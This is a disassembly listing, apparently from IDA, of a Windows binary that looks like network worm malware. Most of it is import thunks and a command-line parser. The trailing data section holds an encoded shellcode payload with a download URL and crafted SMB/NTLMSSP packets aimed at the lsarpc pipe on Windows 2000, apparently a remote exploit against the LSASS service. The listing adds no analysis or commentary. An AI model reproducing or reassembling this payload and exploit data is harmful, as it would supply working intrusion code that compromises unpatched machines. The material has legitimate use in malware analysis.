; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E38D	proc near		; CODE XREF: .data:0041D40Cp
		jmp	dword ptr ds:loc_405250+4
sub_41E38D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E399	proc near		; CODE XREF: .data:0041D33Ap
					; sub_41D569+651p
		jmp	dword ptr ds:loc_405255+3
sub_41E399	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3A5	proc near		; CODE XREF: sub_41D569+1BAp
		jmp	dword ptr ds:loc_40525B+1
sub_41E3A5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3B1	proc near		; CODE XREF: sub_41DBCA+20p
		jmp	dword ptr ds:loc_40525B+5
sub_41E3B1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3BD	proc near		; CODE XREF: sub_41DBCA+Ep
		jmp	dword ptr ds:loc_405261+3
sub_41E3BD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3C9	proc near		; CODE XREF: .data:0041D3FAp
					; sub_41D569+197p
		jmp	dword ptr ds:loc_405267+1
sub_41E3C9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3D5	proc near		; CODE XREF: .data:0041DE07p
					; .data:0041DE98p
		jmp	dword ptr ds:loc_40526C
sub_41E3D5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3E1	proc near		; CODE XREF: sub_41D569+63p
					; .data:0041DE1Ep
		jmp	dword ptr ds:loc_405270
sub_41E3E1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3ED	proc near		; CODE XREF: .data:0041D42Ap
		jmp	dword ptr ds:loc_405274
sub_41E3ED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E3F9	proc near		; CODE XREF: .data:0041D21Ap
					; sub_41D569+20Bp ...
		jmp	dword ptr ds:loc_405278
sub_41E3F9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E405	proc near		; CODE XREF: .data:0041D26Cp
					; .data:0041D2A8p ...
		jmp	dword ptr ds:loc_405278+4
sub_41E405	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E411	proc near		; CODE XREF: .data:0041D332p
					; sub_41D569+649p
		jmp	dword ptr ds:loc_40527D+3
sub_41E411	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E41D	proc near		; CODE XREF: .data:0041D3C3p
					; sub_41D569+48p
		jmp	dword ptr ds:loc_405284
sub_41E41D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E429	proc near		; CODE XREF: sub_41DEC4+1Dp
		jmp	dword ptr ds:loc_40528D+3
sub_41E429	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E435	proc near		; CODE XREF: sub_41DF6A+111p
		jmp	dword ptr ds:loc_405299+3
sub_41E435	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E441	proc near		; CODE XREF: .data:0041D060p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_41E4FD
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_41E475
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_41E76D
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_41E490
		mov	edi, eax
		inc	edi
		jmp	short loc_41E46D
; ---------------------------------------------------------------------------


loc_41E46C:				; CODE XREF: sub_41E441+2Fj
		inc	edi


loc_41E46D:				; CODE XREF: sub_41E441+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_41E46C
		jmp	short loc_41E490
; ---------------------------------------------------------------------------


loc_41E474:				; CODE XREF: sub_41E441+3Ej
		inc	edi


loc_41E475:				; CODE XREF: sub_41E441+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_41E481
		cmp	eax, 20h
		jnz	short loc_41E474


loc_41E481:				; CODE XREF: sub_41E441+39j
		jmp	short loc_41E484
; ---------------------------------------------------------------------------


loc_41E483:				; CODE XREF: sub_41E441+4Dj
		inc	edi


loc_41E484:				; CODE XREF: sub_41E441:loc_41E481j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_41E490
		cmp	eax, 20h
		jz	short loc_41E483


loc_41E490:				; CODE XREF: sub_41E441+24j
					; sub_41E441+31j ...
		push	0
		call	sub_41E521
		push	1
		push	edi
		push	0
		push	eax
		call	sub_41E239
		pop	edi
		leave
		retn
sub_41E441	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E4A5	proc near		; CODE XREF: sub_41D569+8p

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_41E4A6:				; CODE XREF: sub_41E4A5+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_41E4A6
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_41E4A5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_41E4C5	proc near		; CODE XREF: sub_41E239+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_41E4C5	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E4F1	proc near		; CODE XREF: .data:0041D380p
		jmp	dword ptr ds:loc_4052A5+3
sub_41E4F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E4FD	proc near		; CODE XREF: sub_41E441+5p
		jmp	dword ptr ds:loc_4052AB+1
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E509	proc near		; CODE XREF: sub_41E239+91p
		jmp	dword ptr ds:loc_4052B0
sub_41E509	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E515	proc near		; CODE XREF: .data:0041D388p
		jmp	dword ptr ds:loc_4052B0+4
sub_41E515	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E521	proc near		; CODE XREF: sub_41E441+51p
		jmp	dword ptr ds:loc_4052B5+3
sub_41E521	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E52D	proc near		; CODE XREF: .data:0041D3B8p
					; .data:0041D45Cp ...
		jmp	dword ptr ds:loc_4052BC
sub_41E52D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E539	proc near		; CODE XREF: .data:0041DC10p
		jmp	dword ptr ds:loc_4052BC+4
sub_41E539	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E545	proc near		; CODE XREF: sub_41DEC4+4p
		jmp	dword ptr ds:loc_4052C1+3
sub_41E545	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E551	proc near		; CODE XREF: sub_41D118+1Ep
		jmp	dword ptr ds:loc_4052C8
sub_41E551	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E55D	proc near		; CODE XREF: .data:0041D356p
					; .data:0041E206p
		jmp	dword ptr ds:loc_4052C8+4
sub_41E55D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E569	proc near		; CODE XREF: .data:0041D2FAp
		jmp	dword ptr ds:loc_4052CD+3
sub_41E569	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E575	proc near		; CODE XREF: .data:0041D395p
					; .data:0041DC28p
		jmp	dword ptr ds:loc_4052D4
sub_41E575	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E581	proc near		; CODE XREF: .data:0041D372p
		jmp	dword ptr ds:loc_4052D4+4
sub_41E581	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E58D	proc near		; CODE XREF: .data:0041D3B2p
		jmp	dword ptr ds:loc_4052D9+3
sub_41E58D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E599	proc near		; CODE XREF: sub_41CE5B+13p
		jmp	dword ptr ds:loc_4052DE+2
sub_41E599	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5A5	proc near		; CODE XREF: .data:0041D3D0p
					; sub_41D569+17Ep
		jmp	dword ptr ds:loc_4052E4
sub_41E5A5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5B1	proc near		; CODE XREF: .data:0041D2EEp
					; .data:0041D328p ...
		jmp	dword ptr ds:loc_4052E5+3
sub_41E5B1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5BD	proc near		; CODE XREF: sub_41D569+72p
		jmp	dword ptr ds:loc_4052EA+2
sub_41E5BD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5C9	proc near		; CODE XREF: sub_41D569+BBp
					; sub_41D569+D9p ...
		jmp	dword ptr ds:loc_4052ED+3
sub_41E5C9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5D5	proc near		; CODE XREF: .data:0041D456p
					; .data:0041DF1Ep ...
		jmp	dword ptr ds:loc_4052F4
sub_41E5D5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5E1	proc near		; CODE XREF: sub_41DF6A+185p
		jmp	dword ptr ds:loc_4052F4+4
sub_41E5E1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5ED	proc near		; CODE XREF: sub_41E239+108p
		jmp	dword ptr ds:loc_405302+2
sub_41E5ED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E5F9	proc near		; CODE XREF: sub_41E239+60p
		jmp	dword ptr ds:loc_405308
sub_41E5F9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E605	proc near		; CODE XREF: sub_41E239+12Bp
		jmp	dword ptr ds:sub_40530C
sub_41E605	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E611	proc near		; CODE XREF: sub_41E239+113p
		jmp	dword ptr ds:loc_40530F+1
sub_41E611	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E61D	proc near		; CODE XREF: sub_41E239+11Cp
		jmp	dword ptr ds:loc_405311+3
sub_41E61D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E629	proc near		; CODE XREF: .data:0041E20Fp
		jmp	dword ptr ds:loc_405316+2
sub_41E629	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E635	proc near		; CODE XREF: sub_41E239+87p
		jmp	dword ptr ds:loc_40531B+1
sub_41E635	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E641	proc near		; CODE XREF: .data:0041E21Cp
		jmp	dword ptr ds:loc_405320
sub_41E641	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E64D	proc near		; CODE XREF: .data:0041E22Fp
		jmp	dword ptr ds:loc_405323+1
sub_41E64D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E659	proc near		; CODE XREF: sub_41DF6A+C5p
					; sub_41DF6A+205p
		jmp	dword ptr ds:loc_40532F+1
sub_41E659	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E665	proc near		; CODE XREF: sub_41DF6A+6Fp
					; sub_41DF6A+82p
		jmp	dword ptr ds:loc_405334
sub_41E665	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E671	proc near		; CODE XREF: sub_41DF6A+BFp
		jmp	dword ptr ds:loc_405337+1
sub_41E671	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E67D	proc near		; CODE XREF: sub_41DF6A+2Cp
		jmp	dword ptr ds:loc_405339+3
sub_41E67D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E689	proc near		; CODE XREF: sub_41DF6A+59p
		jmp	dword ptr ds:loc_40533E+2
sub_41E689	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E695	proc near		; CODE XREF: sub_41DF6A+1F5p
		jmp	dword ptr ds:loc_405343+1
sub_41E695	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6A1	proc near		; CODE XREF: sub_41D13D+21p
		jmp	dword ptr ds:loc_405346+2
sub_41E6A1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6AD	proc near		; CODE XREF: sub_41D13D+4Bp
					; sub_41D1A8+40p ...
		jmp	dword ptr ds:loc_405349+3
sub_41E6AD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6B9	proc near		; CODE XREF: sub_41D1A8+16p
					; sub_41DF6A+1D1p
		jmp	dword ptr ds:sub_405350
sub_41E6B9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6C5	proc near		; CODE XREF: sub_41D1A8+36p
		jmp	dword ptr ds:loc_405353+1
sub_41E6C5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6D1	proc near		; CODE XREF: sub_41D13D+41p
		jmp	dword ptr ds:loc_405358
sub_41E6D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6DD	proc near		; CODE XREF: sub_41D07D+15p
		jmp	dword ptr ds:loc_405364
sub_41E6DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6E9	proc near		; CODE XREF: .data:0041D043p
		jmp	dword ptr ds:loc_405367+1
sub_41E6E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E6F5	proc near		; CODE XREF: .data:0041DC52p
					; .data:0041DC8Cp ...
		jmp	dword ptr ds:loc_40536C
sub_41E6F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E701	proc near		; CODE XREF: .data:0041D06Ep
		jmp	dword ptr ds:loc_405370
sub_41E701	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E70D	proc near		; CODE XREF: sub_41D569+B2p
					; sub_41D569+D0p ...
		jmp	dword ptr ds:loc_405370+4
sub_41E70D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E719	proc near		; CODE XREF: sub_41D569+16Dp
					; sub_41D569+2E4p ...
		jmp	dword ptr ds:loc_405376+2
sub_41E719	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E725	proc near		; CODE XREF: .data:0041CFC4p
		jmp	dword ptr ds:loc_40537C
sub_41E725	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E731	proc near		; CODE XREF: sub_41D468:loc_41D491p
					; sub_41D468:loc_41D4EBp ...
		jmp	dword ptr ds:loc_40537F+1
sub_41E731	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E73D	proc near		; CODE XREF: .data:0041CF7Dp
					; .data:0041CF97p ...
		jmp	dword ptr ds:loc_405384
sub_41E73D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E749	proc near		; CODE XREF: .data:0041D283p
					; sub_41D468+F4p ...
		jmp	dword ptr ds:loc_405387+1
sub_41E749	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E755	proc near		; CODE XREF: .data:0041DC16p
		jmp	dword ptr ds:loc_40538C
sub_41E755	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E761	proc near		; CODE XREF: sub_41D07D+6Bp
					; sub_41D07D+8Ep ...
		jmp	dword ptr ds:loc_405390
sub_41E761	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E76D	proc near		; CODE XREF: sub_41E441+17p
		jmp	dword ptr ds:loc_405390+4
sub_41E76D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E779	proc near		; CODE XREF: .data:0041D234p
					; .data:0041D250p
		jmp	dword ptr ds:loc_405398
sub_41E779	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h,	17h dup(0)
		dd 40300000h, 40311000h, 800000h, 22h dup(0)
		dd 5000h, 0
		dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah
		dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch,	746845EBh
		dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah
		dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h
		dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h
		dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h
		dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh
		dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h
		dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h,	414C999h
		dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h,	10A7C196h
		dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h
		dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h,	4EC999C9h
		dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h
		dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh
		dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h,	99C999E3h
		dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h,	0C999672Ch
		dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h
		dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h
		dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h
		dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h
		dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh
		dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h)
		dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h,	0
		dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh
		dd 100h, 8829700h, 0E0h, 3 dup(0)
		dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h,	300030h
		dd 200030h, 310032h, 350039h, 570000h, 6E0069h,	6F0064h
		dd 730077h, 320020h, 300030h, 200030h, 2E0035h,	30h, 0
		dd 0FFDA0000h, 73424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF00h, 0C002008h,	0DA00FFh, 0A1104h, 0
		dd 570000h, 0
		dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h
		dd 0
		dd 470000h, 0
		dd 400000h, 0
		dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h
		dd 48E088h, 44004Fh, 6A198100h,	49E4F27Ah, 30AF281Ch, 67107425h
		dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h
		dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h
		dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h
		dd 30002E00h, 2	dup(0)
		dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0)
		dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h
		dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh,	32002Eh
		dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h
		dd 0A2424D53h, 0
		dd 0C80718h, 3 dup(0)
		dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0
		dd 9F000000h, 201h, 2 dup(0)
		dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h
		dd 73006C00h, 72006100h, 63007000h, 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h
		dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0)
		dd 0DC080000h, 60080004h, 1000h, 0CA0h,	400h, 2	dup(0)
		dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h
		dd 5C004500h, 0
		dd 500h, 1003h,	0CA000h, 100h, 0C8800h,	9000000h, 3EC00h
		dd 0
		dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 707C0000h, 10040h, 0
		dd 10000h, 0
		dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h
		dd 0
		dd 0C80718h, 3 dup(0)
		dd 0FEFF08h, 0E006008h,	0DEDE00FFh, 4000h, 0FFFF0000h
		dd 8FFFFh, 10B8h, 4010B8h, 0
		dd 5EE10B9h, 10010000h,	0B8000000h, 1000010h, 0C000000h
		dd 20h,	0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh
		dd 25h,	0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 0
		dd 40A89A00h, 100h, 0
		dd 100h, 10h dup(0)
		dd 460000h, 101h, 0Dh dup(0)
		dd 15123C00h, 275h, 0Dh	dup(0)
		dd 1C123C00h, 75h, 0Eh dup(0)
		dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h
		dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h
		dd 404CCF00h, 200h, 80h, 0
		dd 404CB500h, 0
		dd 404C9C00h, 2	dup(0)
		dd 404C8C00h, 2	dup(0)
		dd 404C8200h, 2	dup(0)
		dd 404C6900h, 2	dup(0)
		dd 404C5000h, 2	dup(0)
		dd 404C4300h, 2	dup(0)
		dd 404C3300h, 100h, 0
